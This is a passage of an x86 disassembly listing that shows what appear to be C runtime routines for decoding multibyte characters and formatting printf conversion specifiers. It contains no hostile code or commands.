		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0F0h
		cmp	eax, 0E0h
		jnz	short loc_409DF7
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 2
		jmp	short loc_409E0A
; ---------------------------------------------------------------------------


loc_409DF7:				; CODE XREF: sub_409CE0+102j
		call	sub_408730
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409E0A:				; CODE XREF: sub_409CE0+B7j
					; sub_409CE0+CBj ...
		cmp	[ebp+var_3], 0
		jnz	short loc_409E50
		cmp	[ebp+arg_0], 0
		jz	short loc_409E20
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_409E20:				; CODE XREF: sub_409CE0+134j
		mov	edx, [ebp+arg_C]
		mov	word ptr [edx+6], 0
		cmp	[ebp+var_2], 0
		jnz	short loc_409E39
		mov	[ebp+var_C], 0
		jmp	short loc_409E48
; ---------------------------------------------------------------------------


loc_409E39:				; CODE XREF: sub_409CE0+14Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_C], eax


loc_409E48:				; CODE XREF: sub_409CE0+157j
		mov	eax, [ebp+var_C]
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409E50:				; CODE XREF: sub_409CE0+12Ej
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		jmp	loc_409D2E
; ---------------------------------------------------------------------------


loc_409E5B:				; CODE XREF: sub_409CE0+27j
		mov	[ebp+var_C], 0
		cmp	[ebp+arg_4], 0
		jnz	short loc_409E8E
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB60
		mov	ebx, dword_40FB64
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411928
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409E8E:				; CODE XREF: sub_409CE0+186j
					; sub_409CE0+292j
		cmp	[ebp+arg_8], 0
		jnz	short loc_409EB2
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409EB2:				; CODE XREF: sub_409CE0+1B2j
		mov	al, [ebp+var_3]
		cmp	al, 10h
		jnb	short loc_409EEE
		movzx	eax, al
		mov	eax, off_411928[eax*4]
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_409EEE
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_409EEE
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+var_14]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_E], ax
		test	ax, ax
		jnz	short loc_409F01


loc_409EEE:				; CODE XREF: sub_409CE0+1D7j
					; sub_409CE0+1E8j ...
		call	sub_408730
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409F01:				; CODE XREF: sub_409CE0+20Cj
		movzx	eax, [ebp+var_E]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	[ebp+var_3], dl
		test	eax, 8000h
		jz	short loc_409F2D
		movzx	eax, [ebp+var_2]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_E]
		or	eax, edx
		mov	[ebp+var_2], ax


loc_409F2D:				; CODE XREF: sub_409CE0+238j
		test	[ebp+var_E], 1000h
		jz	short loc_409F4F
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+var_2], ax


loc_409F4F:				; CODE XREF: sub_409CE0+253j
		test	[ebp+var_E], 4000h
		jz	short loc_409F6C
		mov	eax, [ebp+var_8]
		cmp	byte ptr [eax],	0
		jz	short loc_409F6C
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		mov	[ebp+var_C], 0


loc_409F6C:				; CODE XREF: sub_409CE0+275j
					; sub_409CE0+27Dj
		test	[ebp+var_E], 2000h
		jz	loc_409E8E
		cmp	[ebp+arg_0], 0
		jz	short loc_409F88
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_409F88:				; CODE XREF: sub_409CE0+29Cj
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		cmp	[ebp+var_2], 0
		jnz	short loc_409FAC
		mov	[ebp+var_18], 0
		jmp	short loc_409FB7
; ---------------------------------------------------------------------------


loc_409FAC:				; CODE XREF: sub_409CE0+2C1j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_18], eax


loc_409FB7:				; CODE XREF: sub_409CE0+2CAj
		mov	eax, [ebp+var_18]


loc_409FBA:				; CODE XREF: sub_409CE0+49j
					; sub_409CE0+6Dj ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FC0	proc near		; CODE XREF: sub_408B70+243p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	eax, 41h
		jl	short loc_409FDF
		cmp	eax, 47h
		jg	short loc_409FEE
		jmp	dword_40FC68[eax*4]
; ---------------------------------------------------------------------------


loc_409FDF:				; CODE XREF: sub_409FC0+11j
		cmp	[ebp+var_4], 25h
		jz	loc_40A6B2
		jmp	loc_40A6C7
; ---------------------------------------------------------------------------


loc_409FEE:				; CODE XREF: sub_409FC0+16j
		mov	eax, [ebp+var_4]
		cmp	eax, 58h
		jz	loc_40A223
		jl	loc_40A6C7
		mov	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	loc_40A6C7
		cmp	eax, 78h
		jg	loc_40A6C7
		jmp	dword_40FC04[eax*4]
; ---------------------------------------------------------------------------


loc_40A01C:				; DATA XREF: DMN0:0040FD90o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	short loc_40A049
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, 4
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ecx-4]
		mov	[eax+edx], cl
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A049:				; CODE XREF: sub_409FC0+63j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	[ebp+var_6], ax
		mov	[ebp+var_A], ax
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		or	dword ptr [edx+2Ch], 0FFFFFFFFh
		lea	eax, [ebp+var_A]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B240
		add	esp, 8
		test	eax, eax
		jge	loc_40A6F2
		or	eax, 0FFFFFFFFh
		jmp	loc_40A6F4
; ---------------------------------------------------------------------------


loc_40A08B:				; DATA XREF: DMN0:0040FD94o
					; DMN0:0040FDA8o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_40A0B0
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_40A124
; ---------------------------------------------------------------------------


loc_40A0B0:				; CODE XREF: sub_409FC0+D2j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_40A0D1
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_40A118
; ---------------------------------------------------------------------------


loc_40A0D1:				; CODE XREF: sub_409FC0+F7j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_40A0F2
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_40A10C
; ---------------------------------------------------------------------------


loc_40A0F2:				; CODE XREF: sub_409FC0+118j
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_40A10C:				; CODE XREF: sub_409FC0+130j
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_40A118:				; CODE XREF: sub_409FC0+10Fj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_40A124:				; CODE XREF: sub_409FC0+EEj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_40A154
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dx, cx
		movsx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_40A19A
; ---------------------------------------------------------------------------


loc_40A154:				; CODE XREF: sub_409FC0+176j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_40A178
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dl, cl
		movsx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_40A19A
; ---------------------------------------------------------------------------


loc_40A178:				; CODE XREF: sub_409FC0+19Bj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_40A186
		cmp	al, 7Ah
		jnz	short loc_40A19A


loc_40A186:				; CODE XREF: sub_409FC0+1C0j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_40A19A:				; CODE XREF: sub_409FC0+192j
					; sub_409FC0+1B6j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_40A1C1
		jl	short loc_40A1AC
		test	eax, eax
		jnb	short loc_40A1C1


loc_40A1AC:				; CODE XREF: sub_409FC0+1E6j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_40A1FF
; ---------------------------------------------------------------------------


loc_40A1C1:				; CODE XREF: sub_409FC0+1E4j
					; sub_409FC0+1EAj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_40A1E1
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_40A1FF
; ---------------------------------------------------------------------------


loc_40A1E1:				; CODE XREF: sub_409FC0+20Aj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_40A1FF
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_40A1FF:				; CODE XREF: sub_409FC0+1FFj
					; sub_409FC0+21Fj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B390
		add	esp, 8
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A223:				; CODE XREF: sub_409FC0+34j
					; DATA XREF: DMN0:0040FDC0o ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_40A245
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40A2B6
; ---------------------------------------------------------------------------


loc_40A245:				; CODE XREF: sub_409FC0+26Aj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_40A266
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------


loc_40A266:				; CODE XREF: sub_409FC0+28Cj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_40A287
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40A29E
; ---------------------------------------------------------------------------


loc_40A287:				; CODE XREF: sub_409FC0+2ADj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_40A29E:				; CODE XREF: sub_409FC0+2C5j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_40A2AA:				; CODE XREF: sub_409FC0+2A4j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_40A2B6:				; CODE XREF: sub_409FC0+283j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_40A2E5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_40A328
; ---------------------------------------------------------------------------


loc_40A2E5:				; CODE XREF: sub_409FC0+308j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_40A309
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_40A328
; ---------------------------------------------------------------------------


loc_40A309:				; CODE XREF: sub_409FC0+32Cj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_40A317
		cmp	al, 7Ah
		jnz	short loc_40A328


loc_40A317:				; CODE XREF: sub_409FC0+351j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_40A328:				; CODE XREF: sub_409FC0+323j
					; sub_409FC0+347j ...
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_40A373
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jnz	short loc_40A340
		test	eax, eax
		jz	short loc_40A373


loc_40A340:				; CODE XREF: sub_409FC0+37Aj
		mov	al, [ebp+arg_8]
		cmp	al, 78h
		jz	short loc_40A34B
		cmp	al, 58h
		jnz	short loc_40A373


loc_40A34B:				; CODE XREF: sub_409FC0+385j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	cl, [ebp+arg_8]
		mov	[eax+edx], cl


loc_40A373:				; CODE XREF: sub_409FC0+371j
					; sub_409FC0+37Ej ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B390
		add	esp, 8
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A397:				; DATA XREF: DMN0:0040FD6Co
					; DMN0:0040FD7Co ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 4Ch
		jnz	short loc_40A3B2
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]
		jmp	short loc_40A3C2
; ---------------------------------------------------------------------------


loc_40A3B2:				; CODE XREF: sub_409FC0+3DEj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]


loc_40A3C2:				; CODE XREF: sub_409FC0+3F0j
		fld	[ebp+var_20]
		fstp	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B5D0
		pop	ecx
		cmp	ax, 2
		jz	short loc_40A435
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+6], 8000h
		jz	short loc_40A3F7
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_40A435
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409FC0+420j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_40A417
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_40A435
; ---------------------------------------------------------------------------


loc_40A417:				; CODE XREF: sub_409FC0+440j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_40A435
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_40A435:				; CODE XREF: sub_409FC0+415j
					; sub_409FC0+435j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B5E0
		add	esp, 8
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A459:				; DATA XREF: DMN0:0040FDBCo
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+3Ah]
		mov	[ebp+var_24], eax
		cmp	eax, 68h
		jz	loc_40A542
		cmp	eax, 6Ah
		jz	short loc_40A4EA
		cmp	eax, 6Ch
		jz	loc_40A55D
		jg	short loc_40A487
		cmp	[ebp+var_24], 62h
		jz	short loc_40A4AC
		jmp	loc_40A577
; ---------------------------------------------------------------------------


loc_40A487:				; CODE XREF: sub_409FC0+4BAj
		mov	eax, [ebp+var_24]
		cmp	eax, 71h
		jz	short loc_40A4C6
		cmp	eax, 74h
		jz	short loc_40A50E
		cmp	eax, 71h
		jl	loc_40A577
		cmp	[ebp+var_24], 7Ah
		jz	loc_40A528
		jmp	loc_40A577
; ---------------------------------------------------------------------------


loc_40A4AC:				; CODE XREF: sub_409FC0+4C0j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], al
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A4C6:				; CODE XREF: sub_409FC0+4CDj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A4EA:				; CODE XREF: sub_409FC0+4AFj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A50E:				; CODE XREF: sub_409FC0+4D2j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A528:				; CODE XREF: sub_409FC0+4E1j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A542:				; CODE XREF: sub_409FC0+4A6j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], ax
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A55D:				; CODE XREF: sub_409FC0+4B4j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409FC0+4C2j
					; sub_409FC0+4D7j ...
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A591:				; DATA XREF: DMN0:0040FDC4o
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [edx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+34h], 8
		mov	eax, [ebp+arg_0]
		or	word ptr [eax+38h], 10h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		push	78h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B390
		add	esp, 8
		jmp	loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A5EF:				; DATA XREF: DMN0:0040FDD0o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	loc_40A68F
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[ebp+var_2C], edx
		mov	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		mov	eax, [eax-4]
		mov	[edx+10h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40A628
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], offset dword_40FDE8


loc_40A628:				; CODE XREF: sub_409FC0+65Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40A649
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		or	eax, 0FFFFFFFFh


loc_40A63D:				; CODE XREF: sub_409FC0+682j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_40A63D
		mov	[ebp+var_30], eax
		jmp	short loc_40A684
; ---------------------------------------------------------------------------


loc_40A649:				; CODE XREF: sub_409FC0+672j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		push	edx
		push	0
		mov	eax, [eax+10h]
		push	eax
		call	sub_409330
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_40A675
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		sub	eax, edx
		mov	[ebp+var_34], eax
		jmp	short loc_40A67E
; ---------------------------------------------------------------------------


loc_40A675:				; CODE XREF: sub_409FC0+6A3j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+var_34], eax


loc_40A67E:				; CODE XREF: sub_409FC0+6B3j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_30], eax


loc_40A684:				; CODE XREF: sub_409FC0+687j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+1Ch], eax
		jmp	short loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A68F:				; CODE XREF: sub_409FC0+636j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B240
		add	esp, 8
		test	eax, eax
		jge	short loc_40A6F2
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A6F4
; ---------------------------------------------------------------------------


loc_40A6B2:				; CODE XREF: sub_409FC0+23j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 25h
		jmp	short loc_40A6F2
; ---------------------------------------------------------------------------


loc_40A6C7:				; CODE XREF: sub_409FC0+29j
					; sub_409FC0+3Aj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A6E2
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		jmp	short loc_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E2:				; CODE XREF: sub_409FC0+717j
		mov	[ebp+var_28], 25h


loc_40A6E9:				; CODE XREF: sub_409FC0+720j
		mov	eax, [ebp+arg_C]
